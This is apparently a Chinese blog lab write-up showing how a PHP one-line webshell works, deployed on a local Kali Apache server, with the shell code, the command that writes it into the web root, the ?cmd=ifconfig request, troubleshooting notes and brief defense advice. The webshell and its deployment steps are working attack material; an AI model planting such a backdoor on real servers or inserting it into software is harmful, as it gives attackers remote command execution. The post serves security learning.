news 2026/8/21 19:09:40

利用PHP一句话木马实现远程控制

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
利用PHP一句话木马实现远程控制

1.实验背景

在网络攻防中,“远程控制”是攻击者获取权限后的重要阶段WebShell(网页后门)实现这一目标的常见手段之一。本次实验旨在通过最基础的PHP代码,理解“一句话木马”的工作原理,并演示如何通过Web请求在目标服务器上执行系统命令。

2. 实验环境

  • 网络:Kali Linux(既作为攻击机,也作为受害Web服务器)

  • Web服务:Apache HTTP服务器

  • 工具:Firefox浏览器、终端终端

3.原理分析

本次实验的核心是一个非常简短的 PHP 脚本,被称为“一句话木马”:

<?php system($_REQUEST['cmd']);?>
  • system()函数:这是PHP的内置函数,用于执行外部程序(系统命令),把执行结果直接输出到浏览器。

  • $_REQUEST['cmd']:这是一个PHP超全局变量,用于收集通过URL(GET请求)或表单(POST请求)提交的数据。在这里,它负责接收攻击者传递的cmd参数。

    攻击逻辑: 攻击者访问 URL -> 提交cmd=ifconfig-> PHP 脚本接收参数 ->system在服务器执行函数ifconfig-> 结果回显给攻击者 ->实现远程控制 。

4.实验步骤

第一步:启动Web服务

由于Kali默认关闭Web服务,首先需要开启Apache:

sudo service apache2 start

(注:上图第二个指令是验证服务是否开启的方法,如果看到绿色的active (running)字样,说明服务已经启动成功。)

第二步:配置木马文件

Web服务器的默认根目录位于/var/www/html/。我们需要在该目录下创建一个名为shell.php的文件。(注意:必须放在这个目录下,否则Web服务无法解析)

# 这里使用命令行直接写入,也可以用编辑器编写 sudo sh -c 'echo "<?php system(\$_REQUEST[\"cmd\"]); ?>" > /var/www/html/shell.php'
第三步:构造Payload进行攻击

打开浏览器,构造特定的URL对本地服务器发起“攻击”。

  • 目标网址http://127.0.0.1/shell.php

  • Payload?cmd=ifconfig(Linux下查看网络配置的命令)

5. 踩坑与排错记录(故障排除)

在实验过程中,我遇到了以下两个典型的报错:

问题1:无法连接

  • 现象:浏览器提示无法连接。

  • 原因:我习惯性地在地址栏输入了https://。但本地Apache默认只开启了80端口(HTTP),未配置SSL证书。

  • 解决:将协议改为http://

问题2:404未找到

  • 现象:连接成功,但提示找不到文件。

  • 原因:我将shell.php直接写在桌面(Desktop)。Web服务器无权访问桌面,它只能读取/var/www/html/下的文件。

  • 解决:使用mv命令将文件移动到正确目录:

    sudo mv ~/Desktop/shell.php /var/www/html/

6. 实验结果

再次修改上述问题后,访问http://127.0.0.1/shell.php?cmd=ifconfig,页面成功显示了服务器的网卡信息(eth0, lo等)。

(注:上图展示了利用漏洞成功获取服务器IP配置信息的过程,证明远程命令执行成功)

7.总结与安全警示

通过这个简单的实验,我深刻理解了Web应用漏洞的简单。只要有一行代码,如果没有被防火墙拦截或查杀,就可以让攻击者“反客为主”,轻松执行系统命令。

  • 防御建议:在开发中应严格过滤用户输入,取消配置systemexec等敏感函数,以及文件上传目录的执行权限。

  • 声明本文仅作网络安全学习记录,禁止用于非法用途。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/20 19:55:58

Hive在大数据A_B测试中的应用:从ETL到报表生成

Hive在大数据A/B测试中的应用&#xff1a;从ETL到报表生成关键词&#xff1a;Hive、大数据、A/B测试、ETL、报表生成摘要&#xff1a;本文主要介绍了Hive在大数据A/B测试中的应用&#xff0c;从ETL&#xff08;数据抽取、转换、加载&#xff09;过程入手&#xff0c;详细阐述了…

作者头像 李华
网站建设 2026/8/22 0:28:50

轻量级多模态模型Qwen3-VL-8B实战:图文推理快速入门

轻量级多模态模型Qwen3-VL-8B实战&#xff1a;图文推理快速入门 在电商平台上&#xff0c;每天都有数百万张商品图片被上传&#xff0c;但真正能打动用户的&#xff0c;不只是高清图像本身&#xff0c;而是那些精准、生动、有温度的描述文案。然而&#xff0c;靠人工撰写不仅成…

作者头像 李华
网站建设 2026/8/20 13:54:02

无法连接Anthropic服务?试试Qwen3-14B替代方案

无法连接Anthropic服务&#xff1f;试试Qwen3-14B替代方案 在企业级AI系统部署中&#xff0c;一个看似简单的问题——“API调用超时”或“服务不可达”&#xff0c;往往能引发连锁反应&#xff1a;客服机器人失灵、自动化流程中断、内部知识库响应停滞。这类问题背后&#xff0…

作者头像 李华
网站建设 2026/8/21 17:13:49

AutoGPT能否用于自动生成培训材料?企业内训提效

AutoGPT能否用于自动生成培训材料&#xff1f;企业内训提效 在企业数字化转型的浪潮中&#xff0c;培训体系的响应速度正成为组织竞争力的关键指标。新员工入职周期不断压缩&#xff0c;业务系统频繁迭代&#xff0c;而传统的培训内容生产方式却依然依赖讲师手动整理文档、拼接…

作者头像 李华
网站建设 2026/8/21 22:55:39

Qwen3-VL-8B图文生成实战:打造会‘看’的应用程序

Qwen3-VL-8B图文生成实战&#xff1a;打造会“看”的应用程序 在电商平台上&#xff0c;用户上传一张运动鞋的照片&#xff0c;系统不仅能识别出品牌和颜色&#xff0c;还能自动生成一句文案&#xff1a;“这是一双白色为主、带有蓝色条纹的跑鞋&#xff0c;侧面有明显Logo设计…

作者头像 李华
网站建设 2026/8/21 17:30:47

一天认识一个STL库函数——reverse()

一、什么是reverse()函数&#xff1f;reverse()是C STL中一个非常有用的算法函数&#xff0c;用于反转序列容器&#xff08;如vector、list、deque、string等&#xff09;中元素的顺序。它属于<algorithm>头文件中的算法库&#xff0c;可以高效地将容器中的元素顺序完全颠…

作者头像 李华